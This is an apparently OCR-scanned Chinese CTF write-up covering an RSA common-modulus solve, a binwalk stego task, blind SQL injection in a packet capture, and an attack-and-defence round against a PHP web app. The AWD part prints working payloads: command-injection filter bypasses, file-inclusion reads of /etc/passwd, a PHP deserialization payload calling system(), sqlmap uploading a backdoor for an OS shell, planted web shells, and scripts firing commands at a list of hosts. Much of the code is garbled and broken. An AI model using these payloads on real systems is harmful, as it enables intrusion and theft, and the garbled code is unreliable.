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N=24030381175065789627867818021031309186965318861955402618375094156989560631225056400068280970357343617465261811
6915592750869861649014055122159684478355737131492313365943647991465042869821248509794819107394005559005168915626
4094442429618808915650842908663845924307462380142444437974194040062455024721070910829316419382719382197869427467
2716764474152393429524314859853376325015012885883855819552203740904895242301492787682366135817255276597250505586)
5950701102092292703796911485174212882476724037094849840839889667204944169268992508400125754811361666189733673297
08626081023089829778864549053830890201012932527796486827519
c1=7706442311376298907118381553814187694306437942337200300920018382827744477296762105669322390236380377042026460
©585262864935154187227318499714118790537243349265978604337906605682276232664591057005785748679802781360787999586
9862462033846921640794727663298122937309528114131920324532117235037842744984239493005552944174469073269018915563
0980736716300509547085032174345753133838250340838995285142338255951756404101946977370148727459867175980397841996
2109972740124916297912526934015715049455224278611262349284198241368521805080147030638576732445672424886304994157
30763245048617632714296374909199028722650732705222178007385
C2=2242393873062030102433609606128370594589202762379366030623929135941895847393458397935038425248849402360023988
4048653436314101275290157972045454993641659471672605679497398173588217340705125922148550132426481727445141158741
8162406658121954930403692875826384923215386550289399589963842111810940868861773940104855354450090883220436479553
3844579542944936034933993660680099402631962006719542296381464179785142304650661796573669433125679905146848428053]
2276344029152140431817760731420316457245257243157665090587855008596785240088881665435451552191237548113820151383]
474872494353994135644477990413743416249730006854238049329690

gmpy2
binascii
rsa

math

def exgcd(m, n, x, y):
if n 0:
X 1

\% 0
return (m, x, y)
b 1

X

y

return d, x, y
c1=7706442311376298907118381553814187694306437942337200300920018382827744477296762105669322390236380377042026460
©585262864935154187227318499714118790537243349265978604337906605682276232664591057005785748679802781360787999586
0862462033846921640794727663298122937309528114131920324532117235037842744984239493005552944174469073269018915563
©980736716300509547085032174345753133838250340838995285142338255951756404101946977370148727459867175980397841996
2109972740124916297912526934015715049455224278611262349284198241368521805080147030638576732445672424886304994157
30763245048617632714296374909199028722650732705222178007385
c2=2242393873062030102433609606128370594589202762379366030623929135941895847393458397935038425248849402360023988




8162406658121954930403692875826384923215386550289399589963842111810940868861773940104855354450090883220436479553
3844579542944936034933993660680099402631962006719542296381464179785142304650661796573669433125679905146848428053
2276344029152140431817760731420316457245257243157665090587855008596785240088881665435451552191237548113820151383
474872494353994135644477990413743416249730006854238049329690
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Vi
N=24030381175065789627867818021031309186965318861955402618375094156989560631225056400068280970357343617465261811
6915592750869861649014055122159684478355737131492313365943647991465042869821248509794819107394005559005168915626
4094442429618808915650842908663845924307462380142444437974194040062455024721070910829316419382719382197869427467
2716764474152393429524314859853376325015012885883855819552203740904895242301492787682366135817255276597250505586)
5950701102092292703796911485174212882476724037094849840839889667204944169268992508400125754811361666189733673297
08626081023089829778864549053830890201012932527796486827519

ans=exgcd(el,e2,0,0)

sl=ans[1]

s2=ans[2]
m=(gmpy2.powmod(cl,sl,n)*gmpy2.powmod(c2,s2,n))%n
print gmpy2.iroot(m,7)[1]

while gmpy2.iroot(m,7)[1]==False:

print number.long_to_bytes(gmpy2.iroot(m,7)[0])

& Administrator: PowerShell } e

PS C:\Users\Administrator\Desktop> python2 .\test.py

False
8897026881464161994564093863782755025327972795325751714995303232180843420337831309865939717152113892308490350894293755189
73508326718836218U857853375089045332191500924189058780206370206436804112370428025734385022500750U28004335776274350U81408621360
287563511901147834208455530630434191810769039862430U6000739141265771975927799310833620808629286578339U56734341 794468001742
391255036U46339787U27U37921622831697455671440639452034988U80U2325470459212220712948043616731U06872U09U5633044432753871944591
2666723173725U2369068201019807307425U30006009763502781683U33635758U6522019769785602U079520285726361588678317811298328769
o4p9a5979U263390760879

flag{l_enly_see_duylight_duylight}___

PS C:\Users\Administrator\Desktop> | https://blog.csdn.netmochu7 777777

flag{l_Only see_d4ylight d4ylight}
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binwalk 24

~ 4 B 200FEBEETE > misc > MISCBlue

W7 3D Objects
M Desktop
B Documents

Downloads

Music ConanJPG

—

mOcInu7@mbclnu?-pe /mntfc
$ 1s
% binwalk Conan.JPG

HEXADECIMAL DESCRIPTION

JPEG image data, JFIF standard 1.681
8x1E TIFF image data, big—-endian, offset ef first image directory: 8
8x185EB Zip archive data, at least v2.8 te extract, compressed size: 7897643, unconm




71976004 8x6DD1UC End of Zip archive, footer length: 22

$ |

https://blog.csdn.net/mochu7 777777

foremost 7 B

mOclnu7@mbcinu?-po /mintfc

3-

2 directories, 3 files

rd Organize
2020FEFTEET 2 5 misc » MISC-Blue
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ELK, svD. €50 .CyD

183 blindsql.pcapng

M biindsqlpeapng - x
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Adm3® RE R &= = aaan
[[]reer B -] +
o, Time Source Dectination Protocol Length Info -
+ 95 2.552168 127.0.0.1 127.0.0.1 HTTP 289 GET http://localhost:8080/Less-5/21d=0'%200r%2@ascii(substr((select¥d@database()),1,1))=33--+ HTTP/1.1
i 103 2.552447 127.0.0.1 127.0.08.1 HTTP 244 GET /Less-5/2id-0'%200r%20ascii(substr((select%20database()),1,1))=33--+ HTTP/1.1
: 105 2.554481 127.0.0.1 127.0.0.1 HTTP 703 HTTP/1.1 200 OK (text/html)
< 184 2.554682 127.0.0.1 127.0.0.1 HTTP 492 HTTP/1.1 208 OK  (text/html)
201 2.558794 127.0.0.1 127.0.08.1 HTTP 289 GET http://localhost:8080/Less-5/2id-0'%200r%20ascii(substr((selectk20database()),1,1))=34--+ HTTP/1.1
209 2.559084 127.0.0.1 127.0.0.1 HTTP 244 GET /Less-5/?1d=0'%200r%20ascii(substr((select¥20database()),1,1))=34--+ HTTP/1.1
211 2.560461 127.0.0.1 127.0.0.1 HTTP 709 HTTP/1.1 200 OK (text/html)
293 2.560665 127.0.0.1 127.0.08.1 HTTP 492 HTTP/1.1 208 OK  (text/html)
307 2.563530 127.0.0.1 127.0.0.1 HTTP 289 GET http://localhost:5080/Less-5/2id=0'%200r%20ascii(substr((select¥20database()),1,1))=35--+ HTTP/1.1
315 2.563813 127.0.0.1 127.0.0.1 HTTP 244 GET /Less-5/21d=0'%200r%2@ascii(substr((select¥2@database()),1,1))=35-—+ HTTP/1.1
317 2.565321 127.0.0.1 127.0.08.1 HTTP 709 HTTP/1.1 200 OK (text/html)
398 2.565519 127.0.0.1 127.0.0.1 HTTP 492 HTTP/1.1 208 OK  (text/html)
413 2.568447 127.0.0.1 127.0.0.1 HTTP 289 GET http://localhost:8080/Less-5/21d=0'%200r%2@ascii(substr((select¥d@database()),1,1))=36--+ HTTP/1.1
420 2.568762 127.0.0.1 127.0.08.1 HTTP 244 GET /Less-5/2id-0'%200r%20ascii(substr((select%20database()),1,1))=36--+ HTTP/1.1
423 2.570112 127.0.0.1 127.0.0.1 HTTP 703 HTTP/1.1 200 OK (text/html)
496 2.570348 127.0.0.1 127.0.0.1 HTTP 492 HTTP/1.1 208 OK  (text/html)
519 2.573297 127.0.0.1 127.0.08.1 HTTP 289 GET http://localhost:8080/Less-5/2id-0'%200r%20ascii(substr((selectk20database()),1,1))=37--+ HTTP/1.1
527 2.573646 127.0.0.1 127.0.0.1 HTTP 244 GET /Less-5/?1d=0'%200r%20ascii(substr((select¥28database()),1,1))=37--+ HTTP/1.1
529 2.575318 127.0.0.1 127.0.0.1 HTTP 709 HTTP/1.1 200 OK (text/html)
609 2.575515 127.0.0.1 127.0.08.1 HTTP 492 HTTP/1.1 208 OK  (text/html)
625 2.578397 127.0.0.1 127.0.0.1 HTTP 289 GET http://localhost:3080/Less-5/2id=0'%200r%20ascii(substr((select¥20database()),1,1))=38--+ HTTP/1.1
633 2.578690 127.0.0.1 127.0.0.1 HTTP 244 GET /Less-5/21d=0'%200r%2@ascii(substr((select¥2@database()),1,1))=38-—+ HTTP/1.1
635 2.580135 127.0.0.1 127.0.08.1 HTTP 709 HTTP/1.1 200 OK (text/html) .
Frame 95: 289 bytes on wire (2312 bits), 289 bytes captured (2312 bits) on interface 108, id @
Null/Loopback
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.8.0.1
Transmission Control Protocol, Src Port: 61482, Dst Port: 7890, Seq: 1, Ack: 1, Len: 233
Hypertext Transfer Protocol
02 00 00 00 45 00 01 1d 00 00 40 00 40 06 00 60 E @@ "
7f 00 00 01 7 00 00 01 0 2a le d2 c@ Ba 4d 47 MG
a5 03 95 d1 80 18 18 eb ff 11 60 00 01 01 08 @a
11 82 2c ec 11 82 2c ec 47 45 54 20 68 74 74 70 Lo, GET http
3a 2f 2f 6c 6F 63 61 6c 68 6F 73 74 3a 38 30 38 ://local host:808
30 2f dc 65 73 73 2d 35 2f 37 69 64 3d 30 27 25 0/Less-5 /?id=0'%
3230 6F 72 25 32 30 61 73 63 69 69 28 73 75 62  200r¥20a scii(sub
73 74 72 28 28 73 65 6c 65 63 74 25 32 30 64 61  str((sel ect¥20da
74 61 62 61 73 65 28 29 29 2c 31 2c 31 29 29 3d  tabase() ),1,1))=
3333 2d 2d 2b 20 48 54 54 50 2 31 2e 31 0d @a  33--+ HT TP/1.1
48 6f 73 74 3a 28 6c 6F 63 61 6c 68 6F 73 74 3a  Host: lo calhost: .
@ 7 Hypertest Transfer Frotossl: Frotscel Packets: 669110 + Dizplaved: 25229 (3.8%) || Frefile: Defanlt

MRYE S ZARERFEIX R sql ik MRER, U EESIEN nttp KMERITT
XREE GET 521, WL EF4—

tp.request.method==GET

M biindsqlpeapng - x
File Edit View Go Cspture Analyse Statistics Telephony Wireless Tools Help
Am 7@ Re= S Eeaam
[ [http. request. method—GET = -]+
Pasket list v Harrow & Wide v [Case sensitive  String ~ | [enswery, 2, 133= ][ Find || cancel
Fo. Time Sewrce Destination Protocel Length Info ~
449928 41.177385 127.0.0.1 127.0.0.1 HTTP 299 GET http://localhost:8088/Less-5/21d-0"%280r%20ascii (substr((select%20flagh20fron%20answer),1,1))=95--+ HTTP/1.1
440936 41.177736 127.0.0.1 127.0.0.1 HTTP 254 GET /Less-5/21d=0"%200r%20ascii(substr((select%20f1agh20fron%20ansuer),1,1))=95--+ HTTP/1.1
441034 41.182731 127.0.0.1 127.0.0.1 HTTP 299 GET http://localhost:8080/Less-5/21d=0"%200r%20ascii (substr((select’20flagkd0fron20answer),1,1))=06--+ HTTP/1.1
441040 41.183040 127.0.0.1 127.0.0.1 HTTP 254 GET /Less-5/2id-0"%200r%20ascii(substr((select%20flagh2@fron%20answer),1,1))=96--+ HTTP/1.1
441140 41.188375 127.0.0.1 127.0.0.1 HTTP 293 GET http://localhost:8080/Less-5/21d=0"%280r%20ascii (substr((select%20flagk20fron%20answer),1,1))=97--+ HTTP/1.1
441148 41.188739 127.0.0.1 127.0.0.1 HTTP 254 GET /Less-5/21d=0"%200r%20as cii(substr((select%20flagk2@fron%20ansuer),1,1))=97-—+ HTTR/1.1
441246 41.194060 127.0.0.1 127.0.0.1 HTTP 299 GET http://localhost:8080/Less-5/2id-0 %200r%20ascii (substr((select%20flagk20fron%20answer),1,1))=98--+ HTTP/1.1
441254 41.194370 127.0.0.1 127.0.0.1 HTTP 254 GET /Less-5/21d-0"%260r%20ascii(substr((select%20flagh2@fron%20answer),1,1))=98--+ HTTP/1.1
441352 41.199435 127.0.0.1 127.0.0.1 HTTP 299 GET http://localhost:8080/Less-5/21d=0"%280r%20ascii (substr((select%20flagkl0fron%20answer),1,1))=99--+ HTTR/1.1
441360 41.199756 127.0.0.1 127.0.0.1 HTTP 254 GET /Less-5/21d=0"%200r%20as cii (substr((select%20f1agk0fron%20ansuer),1,1))=99-—+ HTTP/1.1
441458 41.204970 127.0.0.1 127.0.0.1 HTTP 300 GET http://localhost:8080/Less-5/2id=0"%280r%20ascii (substr((select%20flagh20fron%20answer),1,1))=108--+ HTTP/1.1
441466 41.205302 127.0.0.1 127.0.0.1 HTTP 255 GET /Less-5/21d=0"%200r%20ascii(substr((select%20f1agh20fron%20ansuer),1,1))=100--+ HTTP/1.1
441564 41.209797 127.0.0.1 127.0.0.1 HTTP 300 GET http://localhost:8080/Less-5/21d=0"%200r%20ascii (substr((select’20flagkd0fron20answer),1,1))=101--+ HTTP/1.1
441572 41.210067 127.0.0.1 127.0.0.1 HTTP 255 GET /Less-5/2id=0"%200r%20ascii (substr((select%20flagh2@fron%20answer),1,1))=101--+ HTTP/1.1
~|- 441670 41.214269 127.0.0.1 127.0.0.1 HTTP. 300 GET http://localhost:8088/Less-5/31d-8"%280rk20ascii (substr((selectddflaghd@fron®d@answer),1,1))=182--+ HITP/1.1
| 441678 41.214567 127.0.0.1 127.0.0.1 HTTP 255 GET /Less-5/21d=0"%260r%20ascii(substr((select%20flagk0fron%26ansuer),1,1))=102-—+ HTTP/1.1 [
481776 41. 127.0.0.1 127.0.0.1 HTTP 299 GET http://localhost:8080/Less-5/2id-0 %200r%20ascii (substr((select%20flagk20fron%20answer),2,1))=33-—+ HTT!
441783 41. 127.0.0.1 127.0.0.1 HTTP 254 GET /Less-5/21d-0"%260r%20ascii(substr((select%20flagh2@fron%20ansuer),2,1))=33--+ HTTP/1.1
441882 41. 127.0.0.1 127.0.0.1 HTTP 299 GET http://localhost:8080/Less-5/21d=0"%2@0r%20ascii (substr((select’20flagkl0fronk20answer),2,1))=34--+ HTTP/1.1
441890 41. 127.0.0.1 127.0.0.1 HTTP 254 GET /Less-5/21d=0"%2@0r%20as cii(substr((select%20flagk@fron%20ansuer),2,1))=34-—+ HTTP/1.1
441988 41.231185 127.0.0.1 127.0.0.1 HTTP 299 GET http://localhost:8080/Less-5/2id=0"%280r%20ascii (substr((select%20flagh20fron%20answer),2,1))=35--+ HTTP/1.1
441996 41.231661 127.0.0.1 127.0.0.1 HTTP 254 GET /Less-5/21d=0"%200r%20ascii(substr((select%20f1agh20fron%20ansuer),2,1))=35--+ HTTP/1.1
442004 41.236842 127.0.0.1 127.0.0.1 HTTP 299 GET http://localhost:8080/Less-5/21d=0"%200r%20ascii (substr((select’20flagkd0fronk20answer),2,1))=36--+ HTTP/1.1
442100 41.237187 127.0.0.1 127.0.0.1 HTTP 254 GET /Less-5/2 6-—+ HTTP/1.1 .
. e e e o e i ey S oo = .
Frame 441670: 300 bytes on wire (2468 bits), 3060 bytes captured (2400 bits) on interface 108, id @
Null/Loopback
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.8.0.1
Transmission Control Protocol, Src Port: 53452, Dst Port: 7898, Seq: 1, Ack: 1, Len: 244
Hypertext Transfer Protocol
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Crypto
EasyRSA

File Edit View Bookmarks Settings

1
|
’ unzip EasyRSA.zip -d easyrsa
Archive: €E
extracting:
inflating: easyrsa/
1s

easyrsa

flag.en rsa_private_key.pem
’ openssl rsautl -decrypt -inkey rsa_private_key.pem -in flag.en -out ./flag.txt

. ls

flag.en flag.txt rsa_private_key.pem
- cat flag.txt
flag{welcemeCtf3r_elab}

bg.csdn.net/mochur7

flag{WelcoOmeCtf3r_elab}
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File Edit 3Select View Transport Tracks Generate Effect Analyze Tools Help
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A| Select | -1.0
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< >
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el g e i
AWD

— about. php

— admin
I— footer.php

I— header.php
f—— index.php
I— logout.php
— upload

— 1596596144.png



http://www.zhongguosou.com/zonghe/moersicodeconverter.aspx

| |— 1600179756.php
|  }— 1600180813.exe
| L— .library.php
L— upload.php
config.php

contact.php

0
wn
wn

bootstrap.css
chocolat.css
flexslider.css
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JEI13CHF:  awd1/.shell.php

15

, ", $key) s

REIE flag FRAEBERBINT, FHTERS

system(

system(

system(

system( ${9}

system( ${IFS}

system( )

system( : base64 -d ");




flag {Congratulations This is Flag}

Encryption ~ Encoding ~ SQL ~ XSS~ Other ~

& Load URL http:/1192.168.7 17/awd1/ shell php

gg Split URL

>

| » ) Execute -
ear All

Postdata [] Referer [] User Agent [] Cookies C

cmd=system("cat /fi"ag txi")

import requests

def post shell(ip_list):
flag_path
post_data
for i in ip_list:
header_info = {

0i,

}

flag_url i+flag_path

res requests.post(url=flag url,data=post_data,headers=header_info)
print( . (i,res.text))

post_shell(ip_list)

MAHR2



ERSCHEEL:  awd1/about.php

<?php

$file=$ GET[ 1;
$file = str_replace( "M, $file);
$file = str_replace( "M, $file);

$file = str_replace( "M, $file);
$file = str_replace( ", $file);
@print_r(file get contents($file));

FIH file:// A BCGRAEX BEAZEI T, AWDIREEH flaghiZaxt B2 ER T A0:  /flag. txt

?file=fifile://le:///flflagag.txt
?file=php://filter/read=convert.base64-encode/resource=/flflagag.txt

MM R3

RAL#AT: awd1l/config.php

$basedir ;

$shell=@$_POST[

if(preg_match( , $shell)) {
exit();

}
@eval($shell);

SH SRS AT

flag {Congratulations This is Flag}

D O aE

Encryption ~ Encoding ~ SQL ~ XSS~ Other «

@i Load URL http://192 1687 17/awd1/config_php
I split URL

Execute
. Postdata [] Referer [] User Agent [] Cookies Clear All

shell=(s.y s t e m)('cat /flag txd')

MM R4



fERSCHEEL:  awd1/concat.php

?php
include ;
$file path = @ _GET[ 1;
if(file_exists($file path)){
$fp = fopen($file path, )
$str = fread($fp,filesize($file path));
$str = str_replace( , ,$str);

?path=/flag.txt
?path=/etc/passwd
FIH A5

S Gt S PWAT:  awdl/footer.php

$shell=@$_POST[

if(preg_match( ,$shell)&&str_replace( , ", $shell)) {
exit();

telse{

@system($shell);

)i

?

shell=ca' "t</fl"' "ag.txt
shell="echo${IFS}Y2FOICOMbGFnLnR4dAo=|base64${IFS}-d"
shell=a=ca;b=t;c=fl;d=ag;$a$b${IFS}/$c$d.txt

MM 6

vEAN: awdl/login.php

<?php
include_once(
if (lempty($_POST[
$user=$ POST[ 1;
$pass=$_POST[ 1;
$query {$user} {$pass}
$data = mysqli_query($dbc, $query);

if (mysqli_num_rows($data) 1) {

$row = mysqli_ fetch_array($data);
$ SESSION[ ] $row[ 15
header( )
}else{
echo

}

P

fa 192.168.7.17/2




F Amusement [ Tools B Google Translate @ Google HK € CSDN Blog BUUCTF @163.com (J) 2020 EEHE"

@M Administrator: Sqimap
bs D:\T python2 .

{1.4.4.10%dev}

2020-09-18

] parsing HTTP request from °.\tes
resuming back-end DBMS ‘mysql’

(s) from stored session:

: username (POST)

boolean-based blind
itle: AND boolean-based blind - WHERE or HAVING clause
Payload: username=admin® AND 8612-8612 AND ‘QNUV QNUV

AND ‘eala’=

hieb appl on technology .11, Nginx 1.16.1
[pack-end DBMS: MySQL >= 5.@.12 (MariaDB fork

[ 1 ] fetched data logged files under 'C:\ \Administrator\AppData\Local\sqlnap\output\192.168.7.17"
[ 1 [WARNING] a

[*] ending @ 19:58:1@ /2628-09-18/ https://blog.csdn.net/mochu7777777

> pythonz .
{1.4.4.10%dev}

http://sqlmap.org

@ 20:04:08 /2020-09-18
] parsing HTTP request from '.\test
] resuming back-end DBMS 'mysql’

stored session:

r: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING
Payload: username-admin’ AND 8612-8612 AND 'QNUV

AND ‘eala’s

web application technology: PHP 7.3.11, Nginx 1.16.1

back-end DBHS: MySQL »= 5.8.12 (MariaDB fork

[ 110 going to use a web backdoor for command prompt

fingerprinting the back-end DBHS operating system
e back-end DBMS operating system is Linux

retrieved the web server document root: '/var/wwa’
retrieved ueb server absolute paths: ' /var/wwu/html/aud1/login.php*
ying to upload the file ger on '/var/ww/' via LIMIT 'LINES TERMINATED BY' method
reflective value(s) found and filtering out
unable to upload the file stager on /var/wwu/’
ying to upload the file stager on '/var/waw/awdl/" via LIF
1 unable to upload the file stager on /var/www/awdi/
Tl i ger on “/var/www/html/awdl/' via LIMIT ‘LINES TERMINATED BY' method
essfully uploaded on '/var/waw/html/awdl/ - /192.168.7.17:88/ awd1/tmpuolsq. php
the backdoor has been successfully uploaded on ' /var/waw/html/awdl/’ - http://192.168.7.17:80/awd1/tmpbrmiq.php
calling 0S shell. T ‘x" or 'q’ and press ENTER

LINES TERMINATED BY' method

[
[
[
[
[
[
[
[
[
[
o

[
s-shell> whoami

https:/blog.csdn.net/mochu777777T

os-shell> whoami




flag{Congratulations_This_is_Flag}
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7EAN: awdl/search.php

<?php
include
include_once(
$id=$_GET[ 1
$check = eregi(
if($check){

$data = mysqli_query($dbc, $query);

$com = mysqli_fetch_array($data);

eregi() BT LLER %00 B, AREHATIEN

ereg() M eregi() BBAE PHP 7 FHFH T, RIXEKBERIFELE PHp 7.3, AR 2R B Sarid %



Home x +

= ® C U 4 192.1687.17/awc

[ Amusement [ Tools B Google Translate @ Google HK € CSDN Blog BUUCTF @163.com 2020" ERIEtRE"

SEAFARING

search
Ey

Warning: session_start(): Cannot start session when headers already sent in /variwww/html/awd1/config.php on line 14

Fatal error: Uncaught Error: Call to undefined function eregi() in /varfwww/html/awd1/search php:5 Stack trace: #0 {main} thrown in /varfiwww/html/awd1/search.php on line §

AT ...

MR8

RFFIWARIBIAT: awd1l/ser.php

<?php
class Smile
{
protected $ClassObj;
function _ construct() {
$this->ClassObj new safe();
}
function _ destruct() {
$this->ClassObj->action();

class safe
i
function action() {

echo

class unsafe
{
private $data;
function action() {
eval($this->data);

unserialize(@$_GET[ D;

HEMiEpoc



<?php

class Smile

{
protected $ClassObj;
function _ construct() {

$this->ClassObj new unsafe();

1
J

function _ destruct() {
$this->ClassObj->action();

b
class unsafe

{
private $data
function action() {

eval($this->data);

$res new Smile();

echo urlencode(serialize($res));

?test=0%3A5%3A%22Smile%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00C1ass0bj%22%3B0%3A6%3A%22unsate%22%3A1%3A%7Bs%3A12%3A%22
s00unsatfel00datalk22%3Bs%3A24%3A%22system%28%27cat+%2Fflag. txt%27%29%3B%22%3B%7D%7D

192.168.7.17/awd /serphpitest=0° X +

< ® C O %4 192168.7.17/awd1/serphp?

[ Amusement FTools BJ Google Transiate @ Google HK € CSDN Blog BUUCTF @163.com () 2020 EHERE"

flag {Congratulations_This_is_Flag}

# Dzte DiEE Nas Orsss Que Onr Bee + oesms B ases HackBar || EditThisCackie
Encryption ~ Encoding ~ SQL~ XSS~  Other ~ Contribute now! HackBar v2
@ L0adURL Nitp://192.168.7.17/awd1/ser.php?1est=0%3A5%3A%225Mi1€%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00CIass0Dj% 22%3B0%3A6 % IA%22unsale%22% 3A1% A% 7Bs% 3A12%3A%22%00unsafe % 00data%22% 3Bs % 3A24%3A%22system %28 % 27 cat+ % 2F flag bt
%27%29%3B%22%3B%7D%7D
§ seiturL
‘ ») Execute

[0 Postdata [ Referer [] User Agent [J Cookies Clear Al

PS: HAE—THBASHIXA smite K4, X smile HELREM smileo o 0 o o o o

MM A9

WA PAT: awdl/admin/footer.php

$shell=@$_POST[

@system($shell);
if($shell ){
exit();

1
J

?

shell=cat /flag.txt

MM R0

Hi#i%flag: awdl/admin/index.php
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EE XM EAE: awdl/admin/upload.php



html lang
head
meta charset
php
include_once( )
if (isset($ SESSION[ 1)) {
include_once( )
$html_username = htmlspecialchars($ SESSION|[
if(isset($_SESSION[ 1) $_SESSION[
echo $ SESSION[ 1;
$ SESSION[ ;

}

else {
header(
)i
$error=$ FILES|
$tmpName=$ FILES[
$name=$ FILES[
$size=$ FILES[
$type=$ FILES[
try{
if($name
{
$namel=substr($name,-4);
if(is_uploaded file($tmpName)){
$time=time();
$rootpath $time.$namel;
$file=fopen($tmpName, ) or die( );
$content=fread($file, filesize($tmpName));
if(strstr($content, A
exit(
)
b
if(!move_uploaded_file($tmpName, $rootpath)){
echo

exit;

$time.$namel;




Hore ¥  PHP 1-p

< > @® C 0 A 192168717/

5 Amusement £5 Tools B Google Translate @ leHK € CSDN Blog BUUCTF

WES... testphp

192.168.7.17/awd1/admin/upload.; X  PHP 7.3.11 - phpinfo(

& @® C © 4 192.168.7.17/awd1/admin/u

Q) 2020 R
Warning: session_start(): Cannot start session when headers already sent in /var/www/html/awd1/config.php on line 14
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/awd1/admin/upload.php:1) in /var/www/html/awd1/admin/upload.php on line 17
&R : /upload/1600436407.php

sdn.net/mochu’

1 d1/admin/upload. X = PHP 7.3.11 - phpinfo()
= ® C © 4 1921687.17/awd

[ Amusement B Tools B Google Translate @@ Google HK € CSDN Blog BUUCTF @163.com (1) 2020 FEiERE"

flag{Congratulations_This_is_Flag}

PHP Version 7.3.11 php

System Linux 833408673505 4.18.0-193.6.3.e18_2 x36_64 #1 SMP Wed Jun 10 11:09:32 UTC 2020 x36_64
Build Date 0Oct 25 2019 03:27:12

1E awd1/admin/upload/1600179756.php & B & FF K T — NS H#ATE]

php system($_GET[ 1);

MM R12

UK#&5: awdl/admin/upload/.library.php



1)

$key=substr(md5(unigid(rand())),16);
$ SESSION[ 1=$key;
print $key;
)i
else
{
$key=$ SESSION[ 1;
$post=file get contents(
if(!extension_loaded(
{
$t
$post=$t($post );

for($i=0;%i<strlen($post);$i++) {
$post[$i] = $post[$i] Pkey[$i+1&15];
)i
)i
else
{
$post=openssl_decrypt($post, , $key);
)i
$arr=explode( ,$post);
$func=%arr[0];
$params=$arr[1];
class C{public function __ construct($p) {eval($p
@new C($params);
}

VK& . https://www.t00ls.net/articles-56337.html

PS C:\Users\Administrator\Desktop> php -r
sbDI9xXGKpb2/BSn/0/gPNg@MrbwusxVXLEVTNRXyGcc

AR

)53}

J Raw | Head.
HTTR/1.1

mOcTnu7-pc\administrator

Target: http:/i127.0.0.1 |



https://www.t00ls.net/articles-56337.html

A E #i%flag:  ecshop/a. php

<?php
if(isset($_GET[ )4
echo file get contents(base64 decode(

PS C:\Users\Administrator> php -r
string(9)

import requests

def get shell(ip_list):
flag_path
pwd

command

for i in ip_list:

flag_url i+flag_path pwd command
res requests.get(url=flag url)

print( . (i,res.text))

]
get_shell(ip_list)

MM R2

ecshop/api.php

$hook = $ GET[ IE
if(isset($hook)){
echo 5

?s=cat /flag.txt




192,168.7.17/ecshop/api.phpls=cat X+

&« ® C O 4 1921687.17 Japif

E5 Amusement [5 Tools B Google Translate @) Google HK € CSDN Blog BUUCTF @163.com 2020" ElEthE"

flag{Congratulations This 1s Flag}

HackBar || EditTh

Encryption ~ Encoding ~ SQL ~ XSS~ Other -

@ Load URL hitp:/192.168.7 17/ecshop/api php?s=cat flag.txt
g.g Split URL

Execute
‘ : [ Postdata [] Referer [] User Agent [] Cookies Clear All

MAR3

AR ER B i%flag:  ecshop/check file.php

if(isset($_GET[ )H{
echo file get contents(base64 decode(

192.168.7.17/ecshop/check fileph; X -+

&« ® C © 4 192168717

F5 Amusement [ Tools B Google Translate @) Google HK € CSDN Blog BUUCTF @163.com 2020" SEthE"

flag {Congratulations_This_1s_Flag}
EiR: EEA ] e E R B R E N N SR A AR AR AR R

Encryption ~ Encoding ~ SQL ~ XSS~ Other

& Load URL hitp:/1192.168.7 17/ecshop/check_file. php?shop=1

gg Split URL

Execute
| ' [ Postdata [] Referer [] User Agent [] Cookies Clear All

M R4

SRR %Eflag:  ecshop/config. php



f(isset($_GET[ )4
echo file get contents(base64 decode(
php

if(isset($_GET[ 1)H{
echo file get contents(base64 decode(

ALK E flag. txt BAEEHE T, FrElEAHRK

PS C:\Users\Administrator> php -r

string(8)
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